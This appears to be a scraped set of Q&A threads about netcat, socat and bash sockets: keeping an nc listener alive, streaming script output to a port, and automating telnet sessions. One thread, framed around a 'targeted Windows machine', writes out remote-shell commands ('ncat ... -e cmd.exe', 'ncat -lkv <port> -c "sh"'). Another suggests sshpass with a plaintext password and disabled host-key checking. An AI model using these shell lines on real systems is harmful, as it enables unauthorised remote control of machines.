Linux. netcat + bash - linux

I have a bash script:
#!/bin/bash
while :
do
nc -l -p 30003 | python3 script.py
done
I want that listening works all time.
nc localhost 30003 # works, fine
type something
Ctrl+C
Try again nc localhost 30003 # not working
So, after socket closed first time, it never open again..
How can I fix it?
Also I have many defined function inside python script, so I donw want to run it from the beginning. Is it possible?
Thanks.

The problem is that nc -l -p 30003 is not run again before python3 script.py finishes. After Ctrl+C nc localhost 30003 has no listening nc to connect to. If you replace python3 script.py with cat the nc server will restart. So the simple solution would be to have script.py exit.
I assume that you have a state that you want to save. One possibility is to have a file with the state (variables etc.) saved as JSON. Another is to have nc write the output to a file, and have script.py read from that file.
If you have the time, and want to learn some networking, I recommend to look at the python socket API. You can make script.py act as a server and read the data directly from the connection endpoint, rather than going through nc.
Hope this helps.

Related

Bash run task via ssh and get stdout, stderr live output to file in background

I am running a python 3 script via ssh, and I want to see the stdout and stderr in a file on the remote server.
Also, I would like to see the file updated live while the script is running and that the script will run in the background so the ssh connection will not wait for the script to finish.
While looking at other questions, I managed to answer most of my requests.
Here is what I come up with:
ssh user#machine_ip "(python3 my_script.py 2>&1 | tee output.log) &"
The problem is that the ssh is waiting for the script to finish.
So combining the answer from this question with some hackidy hack nonsense...
Really all you need to do is this:
(( python3 my_script.py 0<&- 2>&1 | tee -a ${OUTFILE} | nc -kl ${PORT} &) &)
Explanation:
Run your python script: python3 my_script.py
Detach stdin (so it can run independently): ... 0<&-
Redirect stderr to stdout so we can pipe them along together: ... 2>&1
Append output to some file but also keep the output going to stdout so we can pipe it someplace else: ... | tee -a ${OUTFILE} |
Pipe stdout to a netcat listening port so this machine can essentially "serve" the stdout from your python script: ... | nc -kl ${PORT}
Create a "double nested background subshell" this is explained in the link above but this will allow you to orphan "blah" so that it'll run even if your ssh connection ends (( ... blah ... &) &)
To view the stdout/stderr of my_script.py you now have several options. If you are still logged into that remote machine you can:
tail -f ${OUTFILE} # Same "OUTFILE" used in explanation component 4
nc localhost $PORT # Same "PORT" used in explanation component 5
If you are no longer logged in and you are now on a different machine (but on the same network) you can:
nc ${remote_machine} $PORT # Same "PORT" used in explanation component 5
Where ${remote_machine} is the hostname or IP address of the machine you ssh'ed into to run your command

Output a linux command to a url/port or scocket instead of writing it to a file

I have a command which out outputs certain data which i store in a ext file using a '>>' command.Now Instead of doing that I want to have a socket or a port on any server which will catch the output of the command.Basically i want to output all my script data to a socket or url which ever is possible.
Any help in this direction is most welcomed.
You can use socat to listening on a port 12345 and echo any data sent to it like this:
socat -u TCP-LISTEN:12345,keepalive,reuseaddr,fork STDOUT
If you want to capture it to a file as well (file.log), you can use the same command with tee:
socat -u TCP-LISTEN:12345,keepalive,reuseaddr,fork STDOUT | tee file.log
You can run your program to output to bash's TCP virtual device:
./prog > /dev/tcp/localhost/12345
If you don't want to use bash magic then you can also use socat to send the data:
./prog | socat - TCP-CONNECT:localhost:12345
The above example assume you are running your program and "logger" on the same system but you can replace "localhost" with the hostname or address of the system you wish to send to (where the socat is listening).

Ncat connect and immediately execute command on Windows

I'm trying to figure out a way to open a netcat connection from a listening Linux machine and immediately execute a command on the targeted Windows machine (ex. dir or ipconfig).
Something similar to this:
Linux machine:
nc -lvp 4444; dir
Windows machine:
ncat 192.168.1.25 4444 -e cmd.exe
I need to immediately run a command as soon as a connection is made with the Windows machine.
If this can be accomplished with a bash script, that would be great too. I tried scripting it, but it will not register any commands after dropping into the Windows command shell.
Any help or suggestions would be greatly appreciated! Thanks.
https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/
this might be of help.
It should be:
##On the server. It opens the
##listening machine's shell.
ncat -lkv <port number> -c "sh"
##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>
The command should be on nc's standard input, not a local command to run after nc finishes.
printf "dir\n" | nc -lvp 444
See also Pass commands as input to another command (su, ssh, sh, etc)

open telnet using shell and passing commands

I am new to linux and shell scripting. I want to connect to localhost and interact it.
#! /bin/bash
(exec /opt/scripts/run_server.sh)
when i execute this bash script, it starts listening on a port.
Listening on port xxxxx
Now i want to issue this command "telnet localhost xxxxx"
I tried something like this:
#! /bin/bash
(exec /opt/opencog/scripts/run_server.sh)&&
telnet localhost xxxxx
It is still listening on the port. But i think second command is not running. I expect another window showing that it is being connected like this.
vishnu#xps15:~$ telnet localhost xxxx
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
server>
The reason why i executing these as a script is that, automatically in the server i need to carry out some process by issuing certain commands like this "scm" "parse" etc.....
vishnu#xps15:~$ telnet localhost xxxx
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
server>scm
Entering scheme shell; use ^D or a single . on a line by itself to exit.
guile> (parse "i eat apple")
I have lots of text coming. Manually i cant issue this parse command for each and every sentence. so i want to automate. So i need to write a script for connecting to the server and interacting.
Any guidelines. Finally How to interact/send commands to this guile shell?
One way to login to the linux server as a same or different user and run some command or .sh script (very useful for post-commit hooks or cron jobs) is to use program called sshpass, for example a cron job command or svn post-commit hook would look like this:
/usr/bin/sshpass -p 'password' /usr/bin/ssh
-o StrictHostKeyChecking=no -q user#localhost 'any command'
Just replace password with your password, and user with your user, and put command that you need to run as that particular user...
To install sshpass it on ubuntu just type
apt-get install sshpass
Or on CentOs
yum install sshpass
I solved this with the netcat (nc) command.
$ echo "command1\ncommand2\n" | nc localhost xxxxx
I could manually connect to localhost using telnet localhost xxxx and then i can pass commands from shell to localhost like this.
If you need to use telnet, this solution may help you. Otherwise, use ssh, as other answer suggests.
You can use anything that produces output to write lines one by one, followed by "\r\n", and pipe these lines to ncat, e.g.:
echo -e "command1\r\ncommand2\r\n" | ncat localhost 5000
-e option makes echo interpret "\r\n" as special symbols.

'nc' command stopping even with -k option

I am trying to listen continuously to port 5000 and print the first line of message but the program is stopping after one iteration. I am using the following command for it -
nc -k -l 5000 | head -n 1
I have used -k option with nc but still the program stops after one iteration. What is the problem in this command?
It is not so simple. The second nc could be started only after the full run of the previous. But it can't be done, because nc has a bug: it can't detect if the remote side closes its socket. Thus, the first nc never stops, thus the second can't be started.
The developers of the nc say, that it is an inherent problem of the TCP protocol, my opinion is that they haven't right [but it is only my opinion].
If you want to do practically a script listening on a TCP port, a working solution were to put this head -1 into a script, and calling this script from an inetd.
Some trickier hack could work as well, for example, killing the first nc after the first line, so:
nc -k -l 5000|(read;echo $REPLY;killall -9 nc)
Imho this tools aren't enough stable for productive environment, although they can be very funny. :-)

Resources